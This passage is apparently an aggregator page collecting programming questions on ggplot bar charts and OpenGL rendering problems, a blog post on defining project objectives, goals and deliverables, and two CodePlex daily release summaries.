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  • ggplot geom_bar - to many bars

    - by Andreas
    I am sorry for the non-informative title. exstatus <- structure(list(org = structure(c(2L, 1L, 7L, 3L, 6L, 2L, 2L, 7L, 2L, 1L, 2L, 2L, 4L, 2L, 2L, 2L, 2L, 2L, 2L, 1L, 8L, 4L, 2L, 2L, 5L, 7L, 8L, 6L, 2L, 7L, 2L, 2L, 7L, 2L, 2L, 2L, 2L, 4L, 2L, 2L, 1L, 2L, 2L, 7L, 2L, 7L, 2L, 4L, 7L, 2L, 4L, 2L, 2L, 2L, 7L, 7L, 2L, 7L, 2L, 7L, 1L, 7L, 5L, 2L, 2L, 1L, 7L, 3L, 5L, 3L, 2L, 2L, 2L, 7L, 4L, 2L, 7L, 2L, 4L, 2L, 2L, 2L, 4L, 6L, 2L, 4L, 4L, 7L, 2L, 2L, 2L, 7L, 6L, 2L, 2L, 1L, 2L, 2L, 4L, 1L, 2L, 2L, 2L, 2L, 2L, 2L, 2L, 2L, 2L, 1L, 6L, 2L, 7L, 7L, 2L, 7L, 8L, 7L, 8L, 6L, 7L, 2L, 2L, 2L, 7L, 2L, 7L, 2L, 7L, 2L, 7L, 2L, 4L, 2L, 7L, 2L, 4L, 8L, 2L, 3L, 4L, 2L, 7L, 3L, 8L, 8L, 6L, 2L, 2L, 2L, 7L, 7L, 7L, 7L, 2L, 2L, 2L, 2L, 7L, 2L, 4L, 7L, 7L, 8L, 2L, 7L, 2L, 2L, 2L, 2L, 1L, 7L, 7L, 2L, 1L, 7L, 2L, 7L, 7L, 2L, 2L, 7L, 2L, 2L, 7L, 7L, 2L, 7L, 2L, 7L, 5L, 2L), .Label = c("gl", "il", "gm", "im", "gk", "ik", "tv", "tu"), class = "factor"), art = structure(c(2L, 1L, 3L, 1L, 2L, 2L, 2L, 3L, 2L, 1L, 2L, 2L, 2L, 2L, 2L, 2L, 2L, 2L, 2L, 1L, 3L, 2L, 2L, 2L, 1L, 3L, 3L, 2L, 2L, 3L, 2L, 2L, 3L, 2L, 2L, 2L, 2L, 2L, 2L, 2L, 1L, 2L, 2L, 3L, 2L, 3L, 2L, 2L, 3L, 2L, 2L, 2L, 2L, 2L, 3L, 3L, 2L, 3L, 2L, 3L, 1L, 3L, 1L, 2L, 2L, 1L, 3L, 1L, 1L, 1L, 2L, 2L, 2L, 3L, 2L, 2L, 3L, 2L, 2L, 2L, 2L, 2L, 2L, 2L, 2L, 2L, 2L, 3L, 2L, 2L, 2L, 3L, 2L, 2L, 2L, 1L, 2L, 2L, 2L, 1L, 2L, 2L, 2L, 2L, 2L, 2L, 2L, 2L, 2L, 1L, 2L, 2L, 3L, 3L, 2L, 3L, 3L, 3L, 3L, 2L, 3L, 2L, 2L, 2L, 3L, 2L, 3L, 2L, 3L, 2L, 3L, 2L, 2L, 2L, 3L, 2L, 2L, 3L, 2L, 1L, 2L, 2L, 3L, 1L, 3L, 3L, 2L, 2L, 2L, 2L, 3L, 3L, 3L, 3L, 2L, 2L, 2L, 2L, 3L, 2L, 2L, 3L, 3L, 3L, 2L, 3L, 2L, 2L, 2L, 2L, 1L, 3L, 3L, 2L, 1L, 3L, 2L, 3L, 3L, 2L, 2L, 3L, 2L, 2L, 3L, 3L, 2L, 3L, 2L, 3L, 1L, 2L), .Label = c("Finish", "Attending", "Something"), class = "factor"), type = structure(c(2L, 2L, 5L, 3L, 1L, 2L, 2L, 5L, 2L, 2L, 2L, 2L, 3L, 2L, 2L, 2L, 2L, 2L, 2L, 2L, 4L, 3L, 2L, 2L, 1L, 5L, 4L, 1L, 2L, 5L, 2L, 2L, 5L, 2L, 2L, 2L, 2L, 3L, 2L, 2L, 2L, 2L, 2L, 5L, 2L, 5L, 2L, 3L, 5L, 2L, 3L, 2L, 2L, 2L, 5L, 5L, 2L, 5L, 2L, 5L, 2L, 5L, 1L, 2L, 2L, 2L, 5L, 3L, 1L, 3L, 2L, 2L, 2L, 5L, 3L, 2L, 5L, 2L, 3L, 2L, 2L, 2L, 3L, 1L, 2L, 3L, 3L, 5L, 2L, 2L, 2L, 5L, 1L, 2L, 2L, 2L, 2L, 2L, 3L, 2L, 2L, 2L, 2L, 2L, 2L, 2L, 2L, 2L, 2L, 2L, 1L, 2L, 5L, 5L, 2L, 5L, 4L, 5L, 4L, 1L, 5L, 2L, 2L, 2L, 5L, 2L, 5L, 2L, 5L, 2L, 5L, 2L, 3L, 2L, 5L, 2L, 3L, 4L, 2L, 3L, 3L, 2L, 5L, 3L, 4L, 4L, 1L, 2L, 2L, 2L, 5L, 5L, 5L, 5L, 2L, 2L, 2L, 2L, 5L, 2L, 3L, 5L, 5L, 4L, 2L, 5L, 2L, 2L, 2L, 2L, 2L, 5L, 5L, 2L, 2L, 5L, 2L, 5L, 5L, 2L, 2L, 5L, 2L, 2L, 5L, 5L, 2L, 5L, 2L, 5L, 1L, 2L), .Label = c("short", "long", "between", "young", "old"), class = "factor")), .Names = c("org", "art", "type"), row.names = c(NA, -192L), class = "data.frame") and then the plot ggplot(exstatus, aes(x=type, fill=art))+ geom_bar(aes(y=..count../sum(..count..)),position="dodge") The problem is that the two rightmost bars ("young", "old") are too thick - "something" takes up the whole width - whcih is not what I intended. I am sorry that I can not explain it better.

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  • When to call glEnable(GL_FRAMEBUFFER_SRGB)?

    - by Steven Lu
    I have a rendering system where I draw to an FBO with a multisampled renderbuffer, then blit it to another FBO with a texture in order to resolve the samples in order to read off the texture to perform post-processing shading while drawing to the backbuffer (FBO index 0). Now I'd like to get some correct sRGB output... The problem is the behavior of the program is rather inconsistent between when I run it on OS X and Windows and this also changes depending on the machine: On Windows with the Intel HD 3000 it will not apply the sRGB nonlinearity but on my other machine with a Nvidia GTX 670 it does. On the Intel HD 3000 in OS X it will also apply it. So this probably means that I'm not setting my GL_FRAMEBUFFER_SRGB enable state at the right points in the program. However I can't seem to find any tutorials that actually tell me when I ought to enable it, they only ever mention that it's dead easy and comes at no performance cost. I am currently not loading in any textures so I haven't had a need to deal with linearizing their colors yet. To force the program to not simply spit back out the linear color values, what I have tried is simply comment out my glDisable(GL_FRAMEBUFFER_SRGB) line, which effectively means this setting is enabled for the entire pipeline, and I actually redundantly force it back on every frame. I don't know if this is correct or not. It certainly does apply a nonlinearization to the colors but I can't tell if this is getting applied twice (which would be bad). It could apply the gamma as I render to my first FBO. It could do it when I blit the first FBO to the second FBO. Why not? I've gone so far as to take screen shots of my final frame and compare raw pixel color values to the colors I set them to in the program: I set the input color to RGB(1,2,3) and the output is RGB(13,22,28). That seems like quite a lot of color compression at the low end and leads me to question if the gamma is getting applied multiple times. I have just now gone through the sRGB equation and I can verify that the conversion seems to be only applied once as linear 1/255, 2/255, and 3/255 do indeed map to sRGB 13/255, 22/255, and 28/255 using the equation 1.055*C^(1/2.4)+0.055. Given that the expansion is so large for these low color values it really should be obvious if the sRGB color transform is getting applied more than once. So, I still haven't determined what the right thing to do is. does glEnable(GL_FRAMEBUFFER_SRGB) only apply to the final framebuffer values, in which case I can just set this during my GL init routine and forget about it hereafter?

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  • Debugging a basic OpenGL texture fail? (iphone)

    - by Ben
    Hey all, I have a very basic texture map problem in GL on iPhone, and I'm wondering what strategies there are for debugging this kind of thing. (Frankly, just staring at state machine calls and wondering if any of them is wrong or misordered is no way to live-- are there tools for this?) I have a 512x512 PNG file that I'm loading up from disk (not specially packed), creating a CGBitmapContext, then calling CGContextDrawImage to get bytes out of it. (This code is essentially stolen from an Apple sample.) I'm trying to map the texture to a "quad", with code that looks essentially like this-- all flat 2D stuff, nothing fancy: glEnable(GL_TEXTURE_2D); glTexEnvf(GL_TEXTURE_ENV, GL_TEXTURE_ENV_MODE, GL_MODULATE); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_REPEAT); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_REPEAT); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR); glEnableClientState(GL_TEXTURE_COORD_ARRAY); GLfloat vertices[8] = { viewRect.origin.x, viewRect.size.height, viewRect.origin.x, viewRect.origin.y, viewRect.size.width, viewRect.origin.y, viewRect.size.width, viewRect.size.height }; GLfloat texCoords[8] = { 0, 1.0, 0, 0, 1.0, 0, 1.0, 1.0 }; glBindTexture(GL_TEXTURE_2D, myTextureRef); // This was previously bound to glVertexPointer(2, GL_FLOAT , 0, vertices); glTexCoordPointer(2, GL_FLOAT, 0, texCoords); glDrawArrays(GL_TRIANGLE_FAN, 0, 4); glDisableClientState(GL_TEXTURE_COORD_ARRAY); glDisable(GL_TEXTURE_2D); My supposedly textured area comes out just black. I see no debug output from the CG calls to set up the texture. glGetError reports nothing. If I simplify this code block to just draw the verts, but set up a pure color, the quad area lights up exactly as expected. If I clear the whole context immediately beforehand to red, I don't see the red-- which means something is being rendered there, but not the contents of my PNG. What could I be doing wrong? And more importantly, what are the right tools and techniques for debugging this sort of thing, because running into this kind of problem and not being able to "step through it" in a debugger in any meaningful way is a bummer. Thanks!

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  • OpenGL Coordinate system confusion

    - by user146780
    Maybe I set up GLUT wrong. Basically I want verticies to be reletive to their size in pixels. Ex:right now if I create a hexagon, it hakes up the whole screen even though the units are 6. #include <iostream> #include <stdlib.h> //Needed for "exit" function #include <cmath> //Include OpenGL header files, so that we can use OpenGL #ifdef __APPLE__ #include <OpenGL/OpenGL.h> #include <GLUT/glut.h> #else #include <GL/glut.h> #endif using namespace std; //Called when a key is pressed void handleKeypress(unsigned char key, //The key that was pressed int x, int y) { //The current mouse coordinates switch (key) { case 27: //Escape key exit(0); //Exit the program } } //Initializes 3D rendering void initRendering() { //Makes 3D drawing work when something is in front of something else glEnable(GL_DEPTH_TEST); } //Called when the window is resized void handleResize(int w, int h) { //Tell OpenGL how to convert from coordinates to pixel values glViewport(0, 0, w, h); glMatrixMode(GL_PROJECTION); //Switch to setting the camera perspective //Set the camera perspective glLoadIdentity(); //Reset the camera gluPerspective(45.0, //The camera angle (double)w / (double)h, //The width-to-height ratio 1.0, //The near z clipping coordinate 200.0); //The far z clipping coordinate } //Draws the 3D scene void drawScene() { //Clear information from last draw glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT); glLoadIdentity(); //Reset the drawing perspective glPolygonMode(GL_FRONT_AND_BACK, GL_FILL); glBegin(GL_POLYGON); //Begin quadrilateral coordinates //Trapezoid glColor3f(255,0,0); for(int i = 0; i < 6; ++i) { glVertex2d(sin(i/6.0*2* 3.1415), cos(i/6.0*2* 3.1415)); } glEnd(); //End quadrilateral coordinates glutSwapBuffers(); //Send the 3D scene to the screen } int main(int argc, char** argv) { //Initialize GLUT glutInit(&argc, argv); glutInitDisplayMode(GLUT_DOUBLE | GLUT_RGBA | GLUT_DEPTH); glutInitWindowSize(400, 400); //Set the window size //Create the window glutCreateWindow("Basic Shapes - videotutorialsrock.com"); initRendering(); //Initialize rendering //Set handler functions for drawing, keypresses, and window resizes glutDisplayFunc(drawScene); glutKeyboardFunc(handleKeypress); glutReshapeFunc(handleResize); glutMainLoop(); //Start the main loop. glutMainLoop doesn't return. return 0; //This line is never reached } How can I make it so that a polygon of 0,0 10,0 10,10 0,10 defines a polygon starting at the top left of the screen and is a width and height of 10 pixels? Thanks

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  • Special parameters for texture binding?

    - by user146780
    Do I have to set up my gl context in a certain way to bind textures. I'm following a tutorial. I start by doing: #define checkImageWidth 64 #define checkImageHeight 64 static GLubyte checkImage[checkImageHeight][checkImageWidth][4]; static GLuint texName; void makeCheckImage(void) { int i, j, c; for (i = 0; i < checkImageHeight; i++) { for (j = 0; j < checkImageWidth; j++) { c = ((((i&0x8)==0)^((j&0x8))==0))*255; checkImage[i][j][0] = (GLubyte) c; checkImage[i][j][1] = (GLubyte) c; checkImage[i][j][2] = (GLubyte) c; checkImage[i][j][3] = (GLubyte) 255; } } } void initt(void) { glClearColor (0.0, 0.0, 0.0, 0.0); makeCheckImage(); glPixelStorei(GL_UNPACK_ALIGNMENT, 1); glGenTextures(1, &texName); glBindTexture(GL_TEXTURE_2D, texName); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_REPEAT); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_REPEAT); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST); glTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA, checkImageWidth, checkImageHeight, 0, GL_RGBA, GL_UNSIGNED_BYTE, checkImage); engineGL.current.tex = texName; } In my rendering I do: PolygonTesselator.Begin_Contour(); glEnable(GL_TEXTURE_2D); glTexEnvf(GL_TEXTURE_ENV, GL_TEXTURE_ENV_MODE, GL_DECAL); glBindTexture(GL_TEXTURE_2D, current.tex); if(layer[currentlayer].Shapes[i].Contour[c].DrawingPoints.size() > 0) { glColor4f( layer[currentlayer].Shapes[i].Color.r, layer[currentlayer].Shapes[i].Color.g, layer[currentlayer].Shapes[i].Color.b, layer[currentlayer].Shapes[i].Color.a); } for(unsigned int j = 0; j < layer[currentlayer].Shapes[i].Contour[c].DrawingPoints.size(); ++j) { gluTessVertex(PolygonTesselator.tobj,&layer[currentlayer].Shapes[i].Contour[c].DrawingPoints[j][0], &layer[currentlayer].Shapes[i].Contour[c].DrawingPoints[j][0]); } PolygonTesselator.End_Contour(); } glDisable(GL_TEXTURE_2D); } However it still renders the color and not the texture at all. I'd atleast expect to see black or something but its as if the bind fails. Am I missing something? Thanks

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  • glReadPixels() returning non-accurate value

    - by max
    I'm trying to implement the flood fill algorithm. But glReadPixels() is returning float RGB values of a pixel which are slightly different from the actual value set by me, causing the algorithm to fail. Why is this happening? Outputting returned RGB values to check. #include<iostream> #include<GL/glut.h> using namespace std; float boundaryColor[3]={0,0,0}, interiorColor[3]={0,0,0.5}, fillColor[3]={1,0,0}; float readPixel[3]; void init(void) { glClearColor(0,0,0.5,0); glMatrixMode(GL_PROJECTION); gluOrtho2D(0,500,0,500); } void setPixel(int x,int y) { glColor3fv(fillColor); glBegin(GL_POINTS); glVertex2f(x,y); glEnd(); } void getPixel(int x, int y, float *color) { glReadPixels(x,y,1,1,GL_RGB,GL_FLOAT,color); } void floodFill(int x,int y) { getPixel(x,y,readPixel); //outputting values here to check cout<<readPixel[0]<<endl; cout<<readPixel[1]<<endl; cout<<readPixel[2]<<endl; if( readPixel[0]==interiorColor[0] && readPixel[1]==interiorColor[1] && readPixel[2]==interiorColor[2] ) { setPixel(x,y); floodFill(x+1,y); floodFill(x,y+1); floodFill(x-1,y); floodFill(x,y-1); } } void display() { glClear(GL_COLOR_BUFFER_BIT); glColor3fv(boundaryColor); glLineWidth(3); glBegin(GL_LINE_STRIP); glVertex2i(150,150); glVertex2i(150,350); glVertex2i(350,350); glVertex2i(350,150); glVertex2i(150,150); glEnd(); floodFill(200,200); glFlush(); } int main(int argc,char** argv) { glutInit(&argc,argv); glutInitDisplayMode(GLUT_SINGLE | GLUT_RGB); glutInitWindowPosition(100,100); glutInitWindowSize(500,500); glutCreateWindow("Flood fill"); init(); glutDisplayFunc(display); glutMainLoop(); }

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  • Getting your bearings and defining the project objective

    - by johndoucette
    I wrote this two years ago and thought it was worth posting… Some may think this is a daunting task and some may even say “what a waste of time” and want to open MS Project and start typing out tasks because someone asked for an estimate and a task list. Hell, maybe you even use Excel and pump out a spreadsheet with some real scientific formula for guessing how long it will take to code a bunch of classes. However, this short exercise will provide the basis for the entire project, whether small or large and be a great friend when communicating to anyone on your team or even your client. I call this the Project Brief. If you find yourself going beyond a single page, then you must decompose the sections and summarize your findings so there is a complete and clear picture of the project you are working on in a relatively short statement. Here is a great quote from the PMBOK (Project Management Body of Knowledge) relative to what a project is;   A project is a temporary endeavor undertaken to create a unique product, service or result. With this in mind, the project brief should encompass the entirety (objective) of the endeavor in its explanation and what it will take (goals) to create the product, service or result (deliverables). Normally the process of identifying the project objective is done during the first stage of a project called the Project Kickoff, but you can perform this very important step anytime to help you get a bearing. There are many more parts to helping a project stay on course, but this is usually the foundation where it can be grounded on. Through a series of 3 exercises, you should be able to come up with the objective, goals and deliverables on your project. Follow these steps, and in no time (about &frac12; hour), you will have the foundation of your project plan. (See examples below) Exercise 1 – Objectives Begin with the end in mind. Think about your project in business terms with a couple things to help you understand the objective; Reference the business benefit in terms of cost, speed and / or quality, Provide a higher level of what the outcome will look like (future sense) It should be non-measurable, that’s what the goals are all about The output should be a single paragraph with three sentences and take 10 minutes to write. *Typically, agreement must be reached on the objectives of the project before you would proceed to the next steps of the project. Exercise 2 – Goals A project goal is a statement that answers questions about who, what, why, where and when. A good project goal statement; Answers the five “W” questions for the project Is measurable in each of its parts Is published and agreed on by all the owners This helps the Project Manager receive confirmation on defining the project target. Using the established project objective done in the first exercise, think about the things it will take to get the job done. Think about tangible activities which are the top level tasks in a typical Work Breakdown Structure (WBS). The overall goal statement plus all the deliverables (next exercise) can be seen as the project team’s contract with the project owners. Write 3 - 5 goals in about 10 minutes. You should not write the words “Who, what, why, where and when, but merely be able to answer the questions when you read a goal. Exercise 3 – Deliverables Every project creates some type of output and these outputs are called deliverables. There are two classes of deliverables; Internal – produced for project team members to meet their goals External – produced for project owners to meet their expectations The list you enter here provides a checklist for the team’s delivery and/or is a statement of all the expectations of the project owners. Here are some typical project deliverables; Product and product documentation End product/system Requirements/feature documents Installation guides Demo/prototype System design documents User guides/help files Plans Project plan Training plan Conversion/installation/delivery plan Test plans Documentation plan Communication plan Reports and general documentation Progress reports System acceptance tests Outstanding bug list Procedures Risk and issue logs Project history Deliverables should go with each of the goals. Have 3-5 deliverables for each goal. When you are done, you will have established a great foundation for the clarity of your project. This exercise can take some time, but with practice, you should be able to whip this one out in 10 minutes as well, especially if you are intimate with an ongoing project. Samples  Objective [Client] is implementing a series of MOSS sites to support external public (Internet), internal employee (Intranet) and an external secure (password protected Internet) applications. This project will focus on the public-facing web site and will provide [Client] with architectural recommendations based on the current design being done by their design partner [Partner] and the internal Content Team. In addition, it will provide [Client] with a development plan and confidence they need to deploy a world class public Internet website. Goals 1.  [Consultant] will provide technical guidance and set project team expectations for the implementation of the MOSS Internet site based on provided features/functions within three weeks. 2.  [Consultant] will understand phase 2 secure password-protected Internet site design and provide recommendations.   Deliverables 1.1  Public Internet (unsecure) Architectural Recommendation Plan 1.2  Physical Site construction Work Breakdown Structure and plan (Time, cost and resources needed) 2.1  Two Factor authentication recommendation document   Objective [Client] is currently using an application developed by [Consultant] many years ago called "XXX". This application, although functional, does not meet their new updated business requirements and contains a few defects which [Client] has developed work-around processes. [Client] would like to have a "new and improved" system to support their membership management needs by expanding membership and subscription capabilities, provide accounting integration with internal (GL) and external (VeriSign) systems, and implement hooks to the current CRM solution. This effort will take place through a series of phases, beginning with envisioning. Goals 1. Through discussions with users, [Consultant] will discover current issues/bugs which need to be resolved which must meet the current functionality requirements within three weeks. 2. [Consultant] will gather requirements from the users about what is "needed" vs. "what they have" for enhancements and provide a high level document supporting their needs. 3. [Consultant] will meet with the team members through a series of meetings and help define the overall project plan to deliver a new and improved solution. Deliverables 1.1 Prioritized list of Current application issues/bugs that need to be resolved 1.2 Provide a resolution plan on the issues/bugs identified in the current application 1.3 Risk Assessment Document 2.1 Deliver a Requirements Document showing high-level [Client] needs for the new XXX application. · New feature functionality not in the application today · Existing functionality that will remain in the new functionality 2.2 Reporting Requirements Document 3.1 A Project Plan showing the deliverables and cost for the next (second) phase of this project. 3.2 A Statement of Work for the next (second) phase of this project. 3.3 An Estimate of any work that would need to follow the second phase.

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  • CodePlex Daily Summary for Friday, October 25, 2013

    CodePlex Daily Summary for Friday, October 25, 2013Popular Releases7zbackup - PowerShell Script to Backup Files with 7zip: 7zBackup v. 1.9.5 Stable: Do you like this piece of software ? It took some time and effort to develop. Please consider a helping me with a donation Or please visit my blog Code : Rewritten the launcher of 7zip whith "old" fashioned batch. Better handling of exit codes Feat : New argument --notifyextra to drive the way extra information is delivered with the notification log Bug : NoFollowJunctions switch was inverted Feat : Added new directives maxfilesize and minfilesize to enhance file selection upon their ...Gac Library -- C++ Utilities for GPU Accelerated GUI and Script: Gaclib 0.5.5.0: Gaclib.zip contains the following content GacUIDemo Demo solution and projects Public Source GacUI library Document HTML document. Please start at reference_gacui.html Content Necessary CSS/JPG files for document. Improvements to the previous release Add 1 demos Editor.Toolstrip.Document Added new features GuiDocumentViewer and GuiDocumentLabel is editable like an RichTextEdit control.PowerShell App Deployment Toolkit: PowerShell App Deployment Toolkit v3.0.7: This is a bug fix release, containing some important fixes! Fixed issue where Session 0 was not detected correctly, resulting in issues when attempting to display a UI when none was allowed Fixed Installation Prompt and Installation Restart Prompt appearing when deploy mode was non-interactive or silent Fixed issue where defer prompt is displayed after force closing multiple applications Fixed issue executing blocked app execution dialog from UNC path (executed instead from local tempo...BlackJumboDog: Ver5.9.7: 2013.10.24 Ver5.9.7 (1)FTP???????、2?????????????shift-jis????????????? (2)????HTTP????、???????POST??????????????????CtrlAltStudio Viewer: CtrlAltStudio Viewer 1.1.0.34322 Alpha 4: This experimental release of the CtrlAltStudio Viewer includes the following significant features: Oculus Rift support. Stereoscopic 3D display support. Based on Firestorm viewer 4.4.2 codebase. For more details, see the release notes linked to below. Release notes: http://ctrlaltstudio.com/viewer/release-notes/1-1-0-34322-alpha-4 Support info: http://ctrlaltstudio.com/viewer/support Privacy policy: http://ctrlaltstudio.com/viewer/privacy Disclaimer: This software is not provided or sup...ImapX 2: ImapX 2.0.0.13: The long awaited ImapX 2.0.0.13 release. The library has been rewritten from scratch, massive optimizations and refactoring done. Several new features introduced. Added support for Mono. Added support for Windows Phone 7.1 and 8.0 Added support for .Net 2.0, 3.0 Simplified connecting to server by reducing the number of parameters and adding automatic port selection. Changed authentication handling to be universal and allowing to build custom providers. Added advanced server featur...VsTortoise - a TortoiseSVN add-in for Microsoft Visual Studio: VsTortoise Build 32 Beta: Note: This release does not work with custom VsTortoise toolbars. These get removed every time when you shutdown Visual Studio. (#7940) This release has been tested with Visual Studio 2008, 2010, 2012 and 2013, using TortoiseSVN 1.6, 1.7 and 1.8. It should also still work with Visual Studio 2005, but I couldn't find anyone to test it in VS2005. Build 32 (beta) changelogNew: Added Visual Studio 2013 support New: Added Visual Studio 2012 support New: Added SVN 1.8 support New: Added 'Ch...ABCat: ABCat v.2.0.1a: ?????????? ???????? ? ?????????? ?????? ???? ??? Win7. ????????? ?????? ????????? ?? ???????. ????? ?????, ???? ????? ???????? ????????? ?????????? ????????? "?? ??????? ????? ???????????? ?????????? ??????...", ?? ?????????? ??????? ? ?????????? ?????? Microsoft SQL Ce ?? ????????? ??????: http://www.microsoft.com/en-us/download/details.aspx?id=17876. ???????? ?????? x64 ??? x86 ? ??????????? ?? ?????? ???????????? ???????. ??? ??????? ????????? ?? ?????????? ?????? Entity Framework, ? ???? ...patterns & practices: Data Access Guidance: Data Access Guidance 2013: This is the 2013 release of Data Access Guidance. The documentation for this RI is also available on MSDN: Data Access for Highly-Scalable Solutions: Using SQL, NoSQL, and Polyglot Persistence: http://msdn.microsoft.com/en-us/library/dn271399.aspxMedia Companion: Media Companion MC3.584b: IMDB changes fixed. Fixed* mc_com.exe - Fixed to using new profile entries. * Movie - fixed rename movie and folder if use foldername selected. * Movie - Alt Edit Movie, trailer url check if changed and confirm valid. * Movie - Fixed IMDB poster scraping * Movie - Fixed outline and Plot scraping, including removal of Hyperlink's. * Movie Poster refactoring, attempts to catch gdi+ errors Revision HistoryJayData -The unified data access library for JavaScript: JayData 1.3.4: JayData is a unified data access library for JavaScript to CRUD + Query data from different sources like WebAPI, OData, MongoDB, WebSQL, SQLite, HTML5 localStorage, Facebook or YQL. The library can be integrated with KendoUI, Angular.js, Knockout.js or Sencha Touch 2 and can be used on Node.js as well. See it in action in this 6 minutes video KendoUI examples: JayData example site Examples for map integration JayData example site What's new in JayData 1.3.4 For detailed release notes check ...TerrariViewer: TerrariViewer v7.2 [Terraria Inventory Editor]: Added "Check for Update" button Hopefully fixed Windows XP issue You can now backspace in Item stack fieldsVirtual Wifi Hotspot for Windows 7 & 8: Virtual Router Plus 2.6.0: Virtual Router Plus 2.6.0Fast YouTube Downloader: Fast YouTube Downloader 2.3.0: Fast YouTube DownloaderMagick.NET: Magick.NET 6.8.7.101: Magick.NET linked with ImageMagick 6.8.7.1. Breaking changes: - Renamed Matrix classes: MatrixColor = ColorMatrix and MatrixConvolve = ConvolveMatrix. - Renamed Depth method with Channels parameter to BitDepth and changed the other method into a property.VidCoder: 1.5.9 Beta: Added Rip DVD and Rip Blu-ray AutoPlay actions for Windows: now you can have VidCoder start up and scan a disc when you insert it. Go to Start -> AutoPlay to set it up. Added error message for Windows XP users rather than letting it crash. Removed "quality" preset from list for QSV as it currently doesn't offer much improvement. Changed installer to ignore version number when copying files over. Should reduce the chances of a bug from me forgetting to increment a version number. Fixed ...MSBuild Extension Pack: October 2013: Release Blog Post The MSBuild Extension Pack October 2013 release provides a collection of over 480 MSBuild tasks. A high level summary of what the tasks currently cover includes the following: System Items: Active Directory, Certificates, COM+, Console, Date and Time, Drives, Environment Variables, Event Logs, Files and Folders, FTP, GAC, Network, Performance Counters, Registry, Services, Sound Code: Assemblies, AsyncExec, CAB Files, Code Signing, DynamicExecute, File Detokenisation, GUI...VG-Ripper & PG-Ripper: VG-Ripper 2.9.49: changes NEW: Added Support for "ImageTeam.org links NEW: Added Support for "ImgNext.com" links NEW: Added Support for "HostUrImage.com" links NEW: Added Support for "3XVintage.com" linksmyCollections: Version 2.8.7.0: New in this version : Added Public Rating Added Collection Number Added Order by Collection Number Improved XBMC integrations Play on music item will now launch default player. Settings are now saved in database. Tooltip now display sort information. Fix Issue with Stars on card view. Fix Bug with PDF Export. Fix Bug with technical information's. Fix HotMovies Provider. Improved Performance on Save. Bug FixingMoreTerra (Terraria World Viewer): MoreTerra 1.11.3.1: Release 1.11.3.1 ================ = New Features = ================ Added markers for Copper Cache, Silver Cache and the Enchanted Sword. ============= = Bug Fixes = ============= Use Official Colors now no longer tries to change the Draw Wires option instead. World reading was breaking for people with a stock 1.2 Terraria version. Changed world name reading so it does not crash the program if you load MoreTerra while Terraria is saving the world. =================== = Feature Removal = =...New ProjectsAdder: Adder is simply converter for WPF binding. They add a value from parameter to target if a target int or double, concatenate parameter and value if type a strinAir Control ATV: App for Windows Phone to remote control Apple TV with FireCore aTV Flash (or Black) and AirControl installed.Bangladeshi Open Source Windows 8/Phone Apps: The largest Bangladeshi Open Source project with a vision. Mostly community-contributed Windows 8 and Windows Phone apps.BTB: Tumor board presentation tool for oncologyBulletin: not completed yet. the basic functions are ready, though.CRM Dashboard for Lync: Dynamics CRM Dashboard for Lync is an add-on that makes both applications seamlessly communicate between one another.Crowd CMS: Crowd CMS - A Crowd Funded Web Content Management System Built Using ASP.Net MVC 4 Website: http://www.crowdcms.co.uk CrowdCube: http://goo.gl/Mnd1Xsdusanproject: It is a project for Web Scripting and Application Development (COM), School of Computer of Science, University of HertfordshireElectronic Integrated Disease Surveillance System (EIDSS™) - Web Version: EIDSS can be configured as an electronic disease surveillance network, implemented in a region, to support public health practitioners and epidemiologists.Facebook Login Tool: Facebook Login ToolGadgeteer interface: Project aimed at creating common wrappers and interfaces for common components. This would allow for building applications based on the interfaces, this should Madoko: Madoko is a fast javascript Markdown processor written in Koka. It can render beautiful HTML and PDF (via LaTeX) and supports many Markdown extensions.MinotaurTeam: Project Management System using ASP.NET MVCmobSocial: Open Source Social Network for free!Online Room Reservation for Exchange: When you have Microsoft Exchange Server and meeting rooms you share with people from outside your company this is the ideal application for you.Pescar2013-shop-Masapan: aproyecto_Andy_y_Meli: mely and andyQMachine: A platform for World Wide Computingquarkz: It's just a try-out of Visual C++ (on example of Windows Forms Application). In this project I tried out to re-write one simple Flash game called quarkz in VC++TFS Workspaces Cleaner: TFS Workspaces Cleaner deletes Team Foundation Server workspaces that have not been accessed in a number of days, along with their files locally on disk.Ticketing System With ASP.NET MVC: Ticketing System where visitors (without authentication) should be able to view most commented tickets, as well as to register and login in the system. RegisterTotalFreedom Angular JS MVC: This library provides more tight integration between C# classes and AngularJS, helps to those who prefer to use as much C# and as little JavaScript as possiblevWordToHtml: vWordToHtmlvwpHistory: vwpHistoryweibowinform: weibowinformweibowinformweibowinformweibowinformweibowinformweibowinformweibowinformweibowinformweibowinformweibowinformweibowinformXompare - XML files comparison: Xompare - XML files comparison

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  • CodePlex Daily Summary for Friday, September 28, 2012

    CodePlex Daily Summary for Friday, September 28, 2012Popular ReleasesWPUtils: WPUtils 1.2: Just fixed an issue related to isolated storage path for ChoosePhotoBehavior. Specifically CreateDirectory method only accepts relative path, but was given a "/photos/" path which would result in exception. Please make sure you have this fix if you are using ChoosePhotoBehavior! NOTE: Windows Phone SDK 7.1 or higher is required.TFS Timesheets: TFS Timesheets 2.0: New features: Visual Studio 2012 support Bug fixes: Scaling mode inherited rather than font scalingCRM 2011 Visual Ribbon Editor: Visual Ribbon Editor 1.1 Beta: Visual Ribbon Editor 1.1 Beta What's New: Fixed scrolling issue in UnHide dialog Added support for connecting via ADFS / IFD Added support for more than one action for a button Added support for empty StringParameter for Javascript functions Fixed bug in rule CrmClientTypeRule when selecting Outlook option Extended Prefix field in New Button dialogFree Aspx Image Gallery: Free Aspx Image Gallery Release V1: This is first basic release of my free aspx image gallery project. It is free to use and modify by the user without any need of providing any credit to me.Simple Microsoft Excel Document Converter (Convert To XLS, XLSX, PDF, XPS): ExcelDocConverter 0.1 Beta: Initial Release Microsoft Excel Documents Converter. Microsoft Excel 1997-2003 (XLS) Microsoft Excel 